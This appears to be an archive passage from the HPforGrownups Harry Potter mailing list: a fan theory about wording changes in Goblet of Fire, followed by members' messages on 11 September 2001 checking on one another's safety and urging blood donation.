> > faithful servant will have rejoined us -- "  
> 
> Again, there is only a minor difference. The Canadian
> version reads "come, Wormtail" one more obstacle
> removed and our path to Harry Potter is clear." These
> are both on page 15 of the Canadian version.
> > 
> > Then later:
> > 
> > "One more murder ... my faithful servant at Hogwarts
> > ... Harry Potter 
> > is good as mine, Wormtail."
> > 
> This is found on page 16 of the Canadian version and
> reads as follows:
> "One more curse ... my faithful servant at Hogwarts
> ... Harry Potter is as good as mine, Wormtail."
> 

Sheryll, I'm cooking up a theory that would explain why the 
editors/JKR would change "curse/obstacle" to "murder."  It is only 
half-baked at this point, but here goes.

Based on what you and Laura have quoted, it sounds like the curse 
language is in early versions, and later versions have the murder 
language.  Is this an accident/flint, or is it changed for a reason?  
Once the book is in print, why would JKR (who demonstrated with the 
wand order issue a certain reluctance to change the text after the 
fact) just up and change something like this without a good reason?

First of all, the conversation between Wormtail and V that Bryce 
overhears seems to take place after they've found/tortured/killed 
Bertha, but before they've freed Crouch Jr.  How do we know this?  V 
tells Wormtail that he won't have to do "it" alone:  "By that time, 
my faithful servant will have rejoined us."  That might mean that 
this curse/murder is supposed to happen after Crouch Jr. is freed and 
Crouch Sr. is subdued.  So I think this has to mean they are 
contemplating the curse/murder of Moody.  So V and Wormtail still 
have two jobs to do:  free Crouch and kidnap Moody.

In both the original text and the rewritten text, however, V talks 
about the MoM not finding out anyone else has "died."  Why do we have 
that language in the original version when the rest of the text talks 
about a curse, not a death?  And why is this inconsistency cleaned up 
later to discuss a murder?

I think the answer might have to do with Wormtail's reluctance to 
follow the plan and to kill people (note that Voldemort, not 
Wormtail, kills Bryce).  I speculate that V wanted Wormtail and 
Crouch Jr. to kill Moody and have Crouch Jr. assume his identity.  
Wormtail and Crouch Jr. are ordered to go to Moody's house, subdue 
him, question him about his habits, etc. at leisure, then KILL him.  

But things don't go according to plan.  Wormtail has cold feet, and 
Moody puts up a big struggle so that the cops and Arthur Weasley 
come.  They don't have time to question Moody then kill him, so 
Wormtail and Crouch Jr. stun/Imperio Moody instead and keep him 
alive.  

Why do they deviate from V's plan in this way?  Well, Crouch Jr. 
tells us that they need Moody alive to keep making the potion.  But 
I'm not sure V would agree with that assessment.  You can make 
polyjuice potion with a single hair, so Moody's mane of hair ought to 
have plenty to make the potion even if Moody were dead.  Perhaps 
Wormtail doesn't like to kill, and Crouch Jr. wanted Moody around to 
get the information he needs to pass himself off as Moody.

The upshot is that JKR lets this change from "curse/obtacle" 
to "murder" go through because it is more consistent with this plot 
detail as described above.  But why bother making the change at all?  
Why not just look the other way and leave it as "curse/obstacle"?  

Well, it could be that Moody is going to make an appearance in OoP, 
and JKR needs Voldemort to be surprised that the real Moody is alive, 
and the way to do that is to firm up V's assumption that the real 
Moody is dead.  Voldemort has no way of knowing at the end of GoF 
that the real Moody is still alive because (under my theory) V 
ordered Moody killed ages ago.  (And I think V believes that Crouch 
Jr. still has his soul at the end of GoF, BTW).  This raises all 
sorts of interesting possibilities, including having the real Moody 
assume Crouch Jr.'s identity to spy on V, which is how we can get all 
manner of juicy details about what's going on in V's camp.

Anyway, I know that this theory is quite wobbly, but it is all I can 
think of to have these changes from the original text make any sense 
at all.

Cindy (who is way, way out on a limb on this one)






From joyw at gwu.edu  Tue Sep 11 14:39:34 2001
From: joyw at gwu.edu (- Joy -)
Date: Tue, 11 Sep 2001 10:39:34 -0400
Subject: NYC Residents -- Please Let us Know you're Okay
References: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2C40@MIAEXCH1>
Message-ID: <008601c13acf$93839540$7c44a480@cp124541b>

No: HPFGUIDX 25930

I live right down the street from the Pentagon/Kennedy Center area.  I'm
fine, huddled in my dorm with NBC and my cell phone.  I'm scared to go
outside, especially since they're reporting a bomb at the State Department
and another hijacked plane headed to Washington.  My thoughts are with all
of you in New York, DC, Boston, Chicago, and across the country.  Be safe.

~Joy~




From diagonalley_ at hotmail.com  Tue Sep 11 14:53:49 2001
From: diagonalley_ at hotmail.com (Ali Wildgoose)
Date: Tue, 11 Sep 2001 10:53:49 -0400
Subject: ADMIN2RE: [HPforGrownups] NYC Residents -- Please Let us Know you 're Okay
Message-ID: <F45xyMy4vSWhxQ4JVXS0000d600@hotmail.com>

No: HPFGUIDX 25931

I'm good...just very, VERY rattled.  I watched the first tower fall from my 
window....I set up my camera while I went downstairs to use the phone, and 
now the second tower's gone, too.....I'm afraid to rewind the tape, I don't 
even want to see it.

Ali

http://home.nyu.edu/~amw243 :: Diagon Alley
Harry Potter for Slightly Older Folk

_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp




From joym999 at aol.com  Tue Sep 11 15:02:51 2001
From: joym999 at aol.com (Joy M)
Date: Tue, 11 Sep 2001 15:02:51 -0000
Subject: Is Everyone OK?
Message-ID: <9nl92r+tstr@eGroups.com>

No: HPFGUIDX 25932

I am trying to keep from freaking out about recent events by sitting 
at my computer and working, and catching up on the HP group, but I 
have to admit I am totally freaked.  I live in DC, about a mile from 
the Capitol and I am hoping fervently that no more lunatics in planes 
are headed in my direction.  Apparently the highways are crammed with 
people trying to get out of town, but when the skies are filled with 
crazed terrorists in planes, it seems pointless to go anywhere.  I 
found out about this insanity when I heard several huge sonic booms 
and loud aircraft.  The whole city is in a state of complete 
insanity, although I imagine NYC is much worse.

Well, I am totally freaked.  If my house doesn't go up in smoke, I 
will talk to you all later.

--Joywitch, wishing she lived in Kansas




From absinthe at mad.scientist.com  Tue Sep 11 15:11:58 2001
From: absinthe at mad.scientist.com (Milz)
Date: Tue, 11 Sep 2001 15:11:58 -0000
Subject: Is Everyone OK?
In-Reply-To: <9nl92r+tstr@eGroups.com>
Message-ID: <9nl9ju+7bjs@eGroups.com>

No: HPFGUIDX 25933

--- In HPforGrownups at y..., "Joy M" <joym999 at a...> wrote:
> I am trying to keep from freaking out about recent events by 
sitting 
> at my computer and working, and catching up on the HP group, but I 
> have to admit I am totally freaked.  I live in DC, about a mile 
from 
> the Capitol and I am hoping fervently that no more lunatics in 
planes 
> are headed in my direction.  Apparently the highways are crammed 
with 
> people trying to get out of town, but when the skies are filled 
with 
> crazed terrorists in planes, it seems pointless to go anywhere.  I 
> found out about this insanity when I heard several huge sonic booms 
> and loud aircraft.  The whole city is in a state of complete 
> insanity, although I imagine NYC is much worse.
> 
> Well, I am totally freaked.  If my house doesn't go up in smoke, I 
> will talk to you all later.
> 
> --Joywitch, wishing she lived in Kansas

Hey, I'm in Southern Maryland. I hope you all up in D.C. are okay. I 
think you're safer in-doors than out. Stay calm and if you can get 
out of the city, use the side roads in South East and North East. The 
main roads are jammed.

I'm uneasy too. I live in the Southern Maryland Triangle: due south 
is the Pax River Naval Air Base, due west is Bolling Air Force Base 
and due north is Andrews Air Force Base. I'm toast if they take any 
of these bases out.

Milz {{{{{{internet reassuring hug}}}}}}}




From cynthiaanncoe at home.com  Tue Sep 11 15:19:02 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Tue, 11 Sep 2001 15:19:02 -0000
Subject: NYC Residents -- Please Let us Know you're Okay
In-Reply-To: <008601c13acf$93839540$7c44a480@cp124541b>
Message-ID: <9nla16+s12f@eGroups.com>

No: HPFGUIDX 25934

--- In HPforGrownups at y..., - Joy - <joyw at g...> wrote:
I'm scared to go
> outside, especially since they're reporting a bomb at the State 
Department
> and another hijacked plane headed to Washington.  My thoughts are 
with all
> of you in New York, DC, Boston, Chicago, and across the country.  
Be safe.
> 
I, too, am sitting here pretty freaked out.  I live in Bethesda, MD, 
and hubby works downtown in a tall building.  He has no way to get 
home except Metro, and I don't want him using that today.  The 
streets are jammed, and they're saying there's another plane headed 
our way, and fighter jets have gone up to meet it.  I can't do 
anything but wait.

Cindy




From CollectiveSIAS at aol.com  Tue Sep 11 15:31:11 2001
From: CollectiveSIAS at aol.com (CollectiveSIAS at aol.com)
Date: Tue, 11 Sep 2001 11:31:11 EDT
Subject: [HPforGrownups] Re: Is Everyone OK?
Message-ID: <18.1221bf9a.28cf883f@aol.com>

No: HPFGUIDX 25935

I am a newbie and have been lurking but 
 I just want to say god bless and stay calm 
Jenna


[Non-text portions of this message have been removed]




From witchwanda2002 at yahoo.com  Tue Sep 11 15:43:24 2001
From: witchwanda2002 at yahoo.com (Wanda Mallett)
Date: Tue, 11 Sep 2001 08:43:24 -0700 (PDT)
Subject: [HPforGrownups] Re: NYC Residents -- Please Let us Know you're Okay
In-Reply-To: <008601c13acf$93839540$7c44a480@cp124541b>
Message-ID: <20010911154324.26807.qmail@web13708.mail.yahoo.com>

No: HPFGUIDX 25936

Let us all pray all is ok and hope all in NYC let us
know your all right! I was out with my husband and we
heard it from friends around 9:30!
Thank goodness Joy is all right! Now let us here from
the others!

Wanda who is very concerned for everyone involved!
--- - Joy - <joyw at gwu.edu> wrote:
> I live right down the street from the
> Pentagon/Kennedy Center area.  I'm
> fine, huddled in my dorm with NBC and my cell phone.
>  I'm scared to go
> outside, especially since they're reporting a bomb
> at the State Department
> and another hijacked plane headed to Washington.  My
> thoughts are with all
> of you in New York, DC, Boston, Chicago, and across
> the country.  Be safe.
> 
> ~Joy~
> 
> 


__________________________________________________
Do You Yahoo!?
Get email alerts & NEW webcam video instant messaging with Yahoo! Messenger
http://im.yahoo.com



From heidi.h.tandy.c92 at alumni.upenn.edu  Tue Sep 11 15:51:06 2001
From: heidi.h.tandy.c92 at alumni.upenn.edu (heidi.h.tandy.c92 at alumni.upenn.edu)
Date: Tue, 11 Sep 2001 11:51:06 EDT
Subject: cassie is fine
Message-ID: <46.1a798612.28cf8cea@aol.com>

No: HPFGUIDX 25937

Hi all - cassie called me a bit ago - she talked to my husband, but I haven't 
talked to her. She is fine. Will keep y'all posted. 


[Non-text portions of this message have been removed]




From heidi.h.tandy.c92 at alumni.upenn.edu  Tue Sep 11 16:11:28 2001
From: heidi.h.tandy.c92 at alumni.upenn.edu (heidi.h.tandy.c92 at alumni.upenn.edu)
Date: Tue, 11 Sep 2001 12:11:28 EDT
Subject: [HPforGrownups] Re: NYC Residents -- Please Let us Know you're Okay
Message-ID: <c5.161bd98b.28cf91b0@aol.com>

No: HPFGUIDX 25938

John Walton just called. he is fine, but cannot get online. 


[Non-text portions of this message have been removed]




From shall at sfiweb.demon.co.uk  Tue Sep 11 15:51:30 2001
From: shall at sfiweb.demon.co.uk (Susan Hall)
Date: Tue, 11 Sep 2001 16:51:30 +0100
Subject: [HPforGrownups] Re: Is Everyone OK?
In-Reply-To: <9nl9ju+7bjs@eGroups.com>
Message-ID: <NCBBLOIDFHFLKCOIHJBKEEOMDMAA.shall@sfiweb.demon.co.uk>

No: HPFGUIDX 25939

>Apparently the highways are crammed
with
> people trying to get out of town, but when the skies are filled
with
> crazed terrorists in planes, it seems pointless to go anywhere.  I
> found out about this insanity when I heard several huge sonic booms
> and loud aircraft.  The whole city is in a state of complete
> insanity, although I imagine NYC is much worse.
>
> Well, I am totally freaked.  If my house doesn't go up in smoke, I
> will talk to you all late
>
 --Joywitch, wishing she lived in Kansas

Keep calm and away from public buildings.  Don't take to the roads; panicky
drivers can kill you just as effectively as crazed terrorists and there are
probably a lot more of them about at the moment.  I just wish that there was
something sensible I can do, other than sending hugs by email  and hoping
that all of your loved ones are safe; but it is possible to survive through
terrorist actions (I live in Manchester, which was flattened by a bomb in
1996) and even become stronger as a result - it's the only way to beat these
bastards.

Susan




From Indyfans at aol.com  Tue Sep 11 16:33:47 2001
From: Indyfans at aol.com (Indyfans at aol.com)
Date: Tue, 11 Sep 2001 12:33:47 EDT
Subject: [HPforGrownups] Re: NYC Residents -- Please Let us Know you're Okay
Message-ID: <154.d189d0.28cf96eb@aol.com>

No: HPFGUIDX 25940

Cheri,  these are people in it.   Thought you'd like to know it's from the 
Harry Potter fro grwonups site.    My friend's daughter is at Dusquesne in 
Pittsburg, the school, tunnels, etc are cloesd..she can't get out of the area 
at the moment, but should be able to soon to go to a friend's house not too 
far away.   She was on the phone when the plane crashed, so she knew Lex was 
ok.   You guys doing ok?    What can one say but oh my God.    Love you 
always. 



From tgrzdlphns at yahoo.com  Tue Sep 11 16:41:31 2001
From: tgrzdlphns at yahoo.com (TgrzDlphns)
Date: Tue, 11 Sep 2001 12:41:31 -0400
Subject: [HPforGrownups] Is Everyone OK?
In-Reply-To: <9nl92r+tstr@eGroups.com>
Message-ID: <5.0.2.1.2.20010911124059.03829990@pop.mail.yahoo.com>

No: HPFGUIDX 25941

At 03:02 PM 9/11/2001 +0000, you wrote:
>I am trying to keep from freaking out about recent events by sitting
>at my computer and working, and catching up on the HP group, but I
>have to admit I am totally freaked.  I live in DC, about a mile from
>the Capitol and I am hoping fervently that no more lunatics in planes
>are headed in my direction.  Apparently the highways are crammed with
>people trying to get out of town, but when the skies are filled with
>crazed terrorists in planes, it seems pointless to go anywhere.  I
>found out about this insanity when I heard several huge sonic booms
>and loud aircraft.  The whole city is in a state of complete
>insanity, although I imagine NYC is much worse.
>
>Well, I am totally freaked.  If my house doesn't go up in smoke, I
>will talk to you all later.
>
>--Joywitch, wishing she lived in Kansas


{{{{Joy}}}}}

I understand your feeling being from the area as well. I never could have 
imagined this in my worst nightmares

Bree




From tgrzdlphns at yahoo.com  Tue Sep 11 16:45:02 2001
From: tgrzdlphns at yahoo.com (TgrzDlphns)
Date: Tue, 11 Sep 2001 12:45:02 -0400
Subject: [HPforGrownups] Re: NYC Residents -- Please Let us Know
  you're Okay
In-Reply-To: <008601c13acf$93839540$7c44a480@cp124541b>
References: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2C40@MIAEXCH1>
Message-ID: <5.0.2.1.2.20010911124447.0387ac20@pop.mail.yahoo.com>

No: HPFGUIDX 25942

At 10:39 AM 9/11/2001 -0400, you wrote:
>I live right down the street from the Pentagon/Kennedy Center area.  I'm
>fine, huddled in my dorm with NBC and my cell phone.  I'm scared to go
>outside, especially since they're reporting a bomb at the State Department
>and another hijacked plane headed to Washington.  My thoughts are with all
>of you in New York, DC, Boston, Chicago, and across the country.  Be safe.
>
>~Joy~


{{{{{Joy}}}}}} hang in there!
Bree




From kira at kc.rr.com  Tue Sep 11 16:19:33 2001
From: kira at kc.rr.com (Lisa-Ann Cooner)
Date: Tue, 11 Sep 2001 11:19:33 -0500
Subject: [HPforGrownups] Re: Is Everyone OK?
References: <NCBBLOIDFHFLKCOIHJBKEEOMDMAA.shall@sfiweb.demon.co.uk>
Message-ID: <019301c13add$8e3b02e0$a473f2d1@lisaannc>

No: HPFGUIDX 25943

The best thing to do is going to be to go to the local blood bank and donate blood.  Most of the banks across the country will be sending their reserves to the areas that were attacked and then their resources will be depleted.  

Unfortunately, I have a blood disorder that prevents me from donating but, please, everyone who is able, try to donate some blood.

Thank you,
Lisa-Ann


----- Original Message ----- 
From: Susan Hall 
To: HPforGrownups at yahoogroups.com 
Sent: Tuesday, September 11, 2001 10:51 AM
Subject: RE: [HPforGrownups] Re: Is Everyone OK?


Keep calm and away from public buildings.  Don't take to the roads; panicky
drivers can kill you just as effectively as crazed terrorists and there are
probably a lot more of them about at the moment.  I just wish that there was
something sensible I can do, other than sending hugs by email  and hoping
that all of your loved ones are safe; but it is possible to survive through
terrorist actions (I live in Manchester, which was flattened by a bomb in
1996) and even become stronger as a result - it's the only way to beat these
bastards.

Susan


[Non-text portions of this message have been removed]




From pigwidgeon37 at yahoo.it  Tue Sep 11 17:00:37 2001
From: pigwidgeon37 at yahoo.it (pigwidgeon37 at yahoo.it)
Date: Tue, 11 Sep 2001 17:00:37 -0000
Subject: I hope so much everybody is OK
Message-ID: <9nlfvl+32h8@eGroups.com>

No: HPFGUIDX 25944

I heard the news this afternoon and am completely shattered: We've 
never seen each other, but somehow I know you and I really, really 
hope you are all OK and only shocked, nothing worse. I suppose 
everything will be blocked right now, but tell us you're OK as soon 
as you can, please!!
Susanna/pigwidgeon 37




From djtarb at aol.com  Tue Sep 11 17:13:11 2001
From: djtarb at aol.com (djtarb at aol.com)
Date: Tue, 11 Sep 2001 13:13:11 EDT
Subject: [HPforGrownups] Re: Is Everyone OK?
Message-ID: <fc.bf6c85e.28cfa027@aol.com>

No: HPFGUIDX 25945

In a message dated Tue, 11 Sep 2001  1:04:26 PM Eastern Daylight Time, "Lisa-Ann Cooner" <kira at kc.rr.com> writes:

> The best thing to do is going to be to go to the local blood bank and donate blood.  Most of the banks across the country will be sending their reserves to the areas that were attacked and then their resources will be depleted.  
> 
This is exactly correct, with one addition.  Give the Red Cross time to prepare!  Right now the collection centers are overrun with people, which is causing great frustration.  Wait until tomorrow, call a blood bank, and make an appointment.

I am a Red Cross volunteer and just checked in with my local center.  They are hoping that the people who are trying to donate now! today! will be willing to wait a day or so...

Diane in Philly



From kcruse at xanodria.com  Tue Sep 11 17:25:14 2001
From: kcruse at xanodria.com (Kimberlie)
Date: Tue, 11 Sep 2001 17:25:14 -0000
Subject: Off Topic, But important
Message-ID: <9nlhdq+anok@eGroups.com>

No: HPFGUIDX 25946

Todays Tragedy:

*Please pass on this email*



Something folks can do to help.....  Donate blood.  The Red Cross has 
put
out an appeal, they are going to need it.

 CALL 1-800-GIVE-LIFE or your local Red Cross.






From blpurdom at yahoo.com  Tue Sep 11 18:00:50 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Tue, 11 Sep 2001 18:00:50 -0000
Subject: Is Everyone OK?
In-Reply-To: <fc.bf6c85e.28cfa027@aol.com>
Message-ID: <9nljgi+d3lc@eGroups.com>

No: HPFGUIDX 25947

--- In HPforGrownups at y..., djtarb at a... wrote:
> 
> I am a Red Cross volunteer and just checked in with my local 
center.  They are hoping that the people who are trying to donate 
now! today! will be willing to wait a day or so...
> 
> Diane in Philly

This is Barb, also in Philly.  It's good to hear that some folks in 
NY are okay; hopefully we'll find out about more later.  The roads 
downtown here are in gridlock, what with City Hall and all of the 
tallest downtown buildings being evacuated and the bus service is 
running on a rush-hour schedule.  The park service has also closed 
down Independence National Park (where Independence Hall and the 
Liberty Bell are located) as well as the William Green Federal 
Building.  I've been listening to coverage of the Pittsburgh crash.  
They're saying no survivors.  Evidently a man called someone from the 
plane's bathroom on his cellphone, saying that they'd been hijacked.  
That's the only reason anyone knows it wasn't an accident, but 
probably part of the overall evil plan.  The schools here in Philly 
are all closed and our church, like many others, is having a prayer 
vigil tonight.

My sister lives in Oklahoma City and has told me horrific stories 
about waiting in long lines to donate blood after the bombing there, 
as well as the general shell-shocked state of the entire city for a 
long time afterward.  Now it feels like the entire country is in this 
state, like we're all being held hostage.

Everyone take care and stay safe.

--Barb





From tgrzdlphns at yahoo.com  Tue Sep 11 16:42:53 2001
From: tgrzdlphns at yahoo.com (TgrzDlphns)
Date: Tue, 11 Sep 2001 12:42:53 -0400
Subject: [HPforGrownups] Re: Is Everyone OK?
In-Reply-To: <9nl9ju+7bjs@eGroups.com>
References: <9nl92r+tstr@eGroups.com>
Message-ID: <5.0.2.1.2.20010911124233.037cb470@pop.mail.yahoo.com>

No: HPFGUIDX 25948

At 03:11 PM 9/11/2001 +0000, you wrote:
>--- In HPforGrownups at y..., "Joy M" <joym999 at a...> wrote:
> > I am trying to keep from freaking out about recent events by
>sitting
> > at my computer and working, and catching up on the HP group, but I
> > have to admit I am totally freaked.  I live in DC, about a mile
>from
> > the Capitol and I am hoping fervently that no more lunatics in
>planes
> > are headed in my direction.  Apparently the highways are crammed
>with
> > people trying to get out of town, but when the skies are filled
>with
> > crazed terrorists in planes, it seems pointless to go anywhere.  I
> > found out about this insanity when I heard several huge sonic booms
> > and loud aircraft.  The whole city is in a state of complete
> > insanity, although I imagine NYC is much worse.
> >
> > Well, I am totally freaked.  If my house doesn't go up in smoke, I
> > will talk to you all later.
> >
> > --Joywitch, wishing she lived in Kansas
>
>Hey, I'm in Southern Maryland. I hope you all up in D.C. are okay. I
>think you're safer in-doors than out. Stay calm and if you can get
>out of the city, use the side roads in South East and North East. The
>main roads are jammed.
>
>I'm uneasy too. I live in the Southern Maryland Triangle: due south
>is the Pax River Naval Air Base, due west is Bolling Air Force Base
>and due north is Andrews Air Force Base. I'm toast if they take any
>of these bases out.
>
>Milz {{{{{{internet reassuring hug}}}}}}}


{{{{{Milz}}}}}} Yikes you must be pretty scared.....hang in there!

Bree




From mellienel2 at yahoo.com  Tue Sep 11 18:18:56 2001
From: mellienel2 at yahoo.com (mellienel2 at yahoo.com)
Date: Tue, 11 Sep 2001 18:18:56 -0000
Subject: NYC Residents -- Please Let us Know you're Okay
In-Reply-To: <20010911154324.26807.qmail@web13708.mail.yahoo.com>
Message-ID: <9nlkig+n1hm@eGroups.com>

No: HPFGUIDX 25949

I'm in NYC and ok...my sister by some miracle didn't go in early this 
morning, and two of our dear friends got out just in time and saw the 
whole thing...

it's a sad day for the world. Let's just pray we put a stop to this.

m.




From heather.edmonds at btinternet.com  Tue Sep 11 18:09:36 2001
From: heather.edmonds at btinternet.com (Heather Edmonds)
Date: Tue, 11 Sep 2001 19:09:36 +0100
Subject: Terrorist Bombing
References: <1000231399.2674.24163.l10@yahoogroups.com>
Message-ID: <00b101c13aec$eb320020$279b01d5@co.uk>

No: HPFGUIDX 25950

I mormally lurk due to lack of time but wishe dto send all involved my
sympathy and prayers. Speaking a s A Londoner who is regretably used to
terrorist activity although thank god bnever on this ghastly scale. Hard
though it is stay calm and try to carry on as normal panic and giving up is
teh way to let these evil people win. Easier said than done if you are in NY
or Washington at the moment I would imagine. My thughts are with you and I
wish there was something more condtructive I could do than remain glued to
my TV a sI ahve been since this started.

Love to everyone

Heather




From tgrzdlphns at yahoo.com  Tue Sep 11 16:44:11 2001
From: tgrzdlphns at yahoo.com (TgrzDlphns)
Date: Tue, 11 Sep 2001 12:44:11 -0400
Subject: [HPforGrownups] Re: NYC Residents -- Please Let us Know
  you're Okay
In-Reply-To: <9nla16+s12f@eGroups.com>
References: <008601c13acf$93839540$7c44a480@cp124541b>
Message-ID: <5.0.2.1.2.20010911124344.03860790@pop.mail.yahoo.com>

No: HPFGUIDX 25951

At 03:19 PM 9/11/2001 +0000, you wrote:
>--- In HPforGrownups at y..., - Joy - <joyw at g...> wrote:
>I'm scared to go
> > outside, especially since they're reporting a bomb at the State
>Department
> > and another hijacked plane headed to Washington.  My thoughts are
>with all
> > of you in New York, DC, Boston, Chicago, and across the country.
>Be safe.
> >
>I, too, am sitting here pretty freaked out.  I live in Bethesda, MD,
>and hubby works downtown in a tall building.  He has no way to get
>home except Metro, and I don't want him using that today.  The
>streets are jammed, and they're saying there's another plane headed
>our way, and fighter jets have gone up to meet it.  I can't do
>anything but wait.
>
>Cindy


{{{{CIndy}}}} wait and talk with us. It does distract well!
Bree




From avatar7 at uole.com.ve  Tue Sep 11 19:05:17 2001
From: avatar7 at uole.com.ve (Juan Carlos De La Cruz)
Date: Tue, 11 Sep 2001 15:05:17 -0400
Subject: [HPforGrownups] Can't find Vanity Fair
Message-ID: <01091115051702.01860@sysop>

No: HPFGUIDX 25952


Excuse my repent appearance, since this is my first 
posting to the group, so Hello everyone!.
?
I?m a 29yo living in Caracas Venezuela, even tho I 
get most of my stuff via a mail delivery service which connects a Miami 
adress 
with my local address here.
?
???????????? 
I would also like to have that Vanity Fair issue, but as far as I am 
concerned 
(Which might be little) the only way I?ve found to do so is to subscribe ( As 
I?ve done with such as Interview or Details or Genre or...) and I definitely 
do 
not want to subscribe to Vanity Fair, but to have that only issue.
?
????????? Could any of you 
help me find out whether is there a way to buy online that only 
issue?
?
??? ??? As I?ve read 
in some page somewhere...... I used to be one of those "moaners" whose peers 
used to chit-chat all around about Harry Potter, and it was not until about 
the 
third month of listening the buzz around that I decided to have the first 
book 
lent to me, and it was certainly magic! I passed thru from the "It?s only a 
child thing" phase to becoming a total fan!!!!!!. I?ve read the first book in 
about 8 hours tops, the same day, and then the day after I went out and 
bought 
the 4 complete books to have them on my own, and finished reading them 3 days 
later, all of them!. I am heavily considering reading them slo-mo from now on 
and analyzing them, now without the initial hunger, but on severe and 
tasteful 
detail. I?ve found them to be a generous resource on life lessons as 
acceptance, 
growing up, and tons of other topics I would base a heavy dissertation 
on.
?
??????? After 
all, that?s why I signed up, isn?t it? :)
?
Absolutely thankful and with my best regards 
beforehands
?
Juan Carlos De La Cruz.
DeGoPro.com General Manager
CARACAS - VENEZUELA
Proud Hogwarts student at the Ravenclaw 
House.
(As told by some hat at the "official" 
page...)
?
?
?
----- Original Message -----
From: Vicky 
  DeGroote
To: HPforGrownups at yahoogroups.com
Sent: Tuesday, September 11, 2001 12:31 
  AM
Subject: Re: [HPforGrownups] Can't find 
  Vanity Fair
hey thanks for the heads up!? I plan to be a B&N 
  bright & early tomorrow a.m.!!? Have to get one for my sister for her 
  birthday too!
Kitty
On Mon, 10 September 2001, Maggie Connolly 
  wrote:
-- 
------------------------------
Juan Carlos De La Cruz.
Proud HOgwarts student at Ravenclaw.



From tgrzdlphns at yahoo.com  Tue Sep 11 19:03:17 2001
From: tgrzdlphns at yahoo.com (TgrzDlphns)
Date: Tue, 11 Sep 2001 15:03:17 -0400
Subject: [HPforGrownups] Terrorist Bombing
In-Reply-To: <00b101c13aec$eb320020$279b01d5@co.uk>
References: <1000231399.2674.24163.l10@yahoogroups.com>
Message-ID: <5.0.2.1.2.20010911150139.038645c0@pop.mail.yahoo.com>

No: HPFGUIDX 25953

At 07:09 PM 9/11/2001 +0100, you wrote:
>I mormally lurk due to lack of time but wishe dto send all involved my
>sympathy and prayers. Speaking a s A Londoner who is regretably used to
>terrorist activity although thank god bnever on this ghastly scale. Hard
>though it is stay calm and try to carry on as normal panic and giving up is
>teh way to let these evil people win. Easier said than done if you are in NY
>or Washington at the moment I would imagine. My thughts are with you and I
>wish there was something more condtructive I could do than remain glued to
>my TV a sI ahve been since this started.
>
>Love to everyone
>
>Heather


Heather how do you do that. I admit it....I'm scared....I want my 
mommy....the safety of my little New Engaldn town....pretty dumb to say for 
a 30 year iold. I keep gazing across at the smoke from the Pentagon and 
want to crawl unde rthe bed. Ah if only life was so simple.

Bree




From ra_1013 at yahoo.com  Tue Sep 11 18:17:23 2001
From: ra_1013 at yahoo.com (Andrea)
Date: Tue, 11 Sep 2001 11:17:23 -0700 (PDT)
Subject: Is Everyone OK?
In-Reply-To: <5.0.2.1.2.20010911124233.037cb470@pop.mail.yahoo.com>
Message-ID: <20010911181723.17783.qmail@web10908.mail.yahoo.com>

No: HPFGUIDX 25954

Just more updates, from Chicago this time.  Some
online friends were worried because they'd heard it
had been hit, but that's a rumor.  Sears Tower, the
Hancock building, and all federal buildings are
officially evacuated.  Most of the other high-rises
downtown have been unofficially evacuated as well. 
They've started towing any cars around the Sears Tower
for fear of car bombs.  I'm looking out my window now,
in the South Loop, and it's startlingly quiet for a
weekday.  No one really knows what to do, but so far
we're fine.

I'd like to add my prayers to the people in the
NYC/DC/Pittsburgh area, as well as my sincere
condolences to all victims and their families.  The
whole country is behind you.



Andrea

=====
"Reality is for people who lack imagination."

__________________________________________________
Do You Yahoo!?
Get email alerts & NEW webcam video instant messaging with Yahoo! Messenger
http://im.yahoo.com



From starling823 at yahoo.com  Tue Sep 11 19:15:09 2001
From: starling823 at yahoo.com (Starling)
Date: Tue, 11 Sep 2001 15:15:09 -0400
Subject: NYC
References: <1000231399.2674.24163.l10@yahoogroups.com>
Message-ID: <002101c13af6$156e4ac0$c574e280@cc.binghamton.edu>

No: HPFGUIDX 25955

Hi everyone

Having spent the whole morning haunting my phone and praying, I can finally
relax, my immediate family is all ok.  I have a lot of neighbors and friends
who work in that area, so i'm really afraid someone won't come home tonight.
Being away at college so hard -- I can't even get thru on the phone.
Everyone's afraid.

But I have an especial request for everyone.  Please, please, say a prayer
for the emergency personnel.  My dad is a police officer on long island and
he will probably be sent in to help with recovery tomorrow.  My family knows
city cops and fireman, and both paid and volunteer police, FD, and all first
aid personnel are risking themselves to help everyone there.  Along with the
victims of the tower collapses are the emergency personnel who went in after
the planes hit.    These people can't run away.  No matter how bad it is,
how scared they are, they keep going.  They are fathers and mothers and
siblings and parents and sons and daughters, and they need all the good
wishes they can get.  Even after this has been resolved, someday, they will
still have the nightmares to wake them up at night.

I am praying for everyone, and hoping beyond hope that everything will all
turn out ok...

Abbie
starling823 at yahoo.com
"It is my belief -- and never have I so hoped that I am mistaken -- that we
are all facing dark and difficult times."
    Dumbledore, GOF



_________________________________________________________
Do You Yahoo!?
Get your free @yahoo.com address at http://mail.yahoo.com




From Indyfans at aol.com  Tue Sep 11 20:18:00 2001
From: Indyfans at aol.com (Indyfans at aol.com)
Date: Tue, 11 Sep 2001 16:18:00 EDT
Subject: [HPforGrownups] Terrorist Bombing
Message-ID: <79.1af003fe.28cfcb78@aol.com>

No: HPFGUIDX 25956

It is a wonderful thing,  this HP4Grownups,  that,  not only can we share our 
passion for the books, but can pull together in times like today.        
Bless the policeman, firemen, and everyday folks who are risking their lives 
to help the victims.  Tragedies tend to bring out the selfless, brave,  
heoric people who, to quote Mother Therea, 'do small things with great love'. 
  Little do they know that the small things are very great indeed.   
Gratitude and appreciation to those across the seas who are sending in their 
concern and prayers.  There is more love in this world than hate,  there are 
far more good people in this world than bad, and we WILL prevail.  



From rainy_lilac at yahoo.com  Tue Sep 11 20:20:21 2001
From: rainy_lilac at yahoo.com (rainy_lilac at yahoo.com)
Date: Tue, 11 Sep 2001 20:20:21 -0000
Subject: Very Relieved
Message-ID: <9nlrm5+95l1@eGroups.com>

No: HPFGUIDX 25957

I just heard from two of my friends who live in NYC-- they are fine.

I can't tell you what a relief this is.

--Suzanne




From scaryfairymary at hotmail.com  Tue Sep 11 20:56:09 2001
From: scaryfairymary at hotmail.com (scaryfairymary at hotmail.com)
Date: Tue, 11 Sep 2001 20:56:09 -0000
Subject: wand order (again sorry)
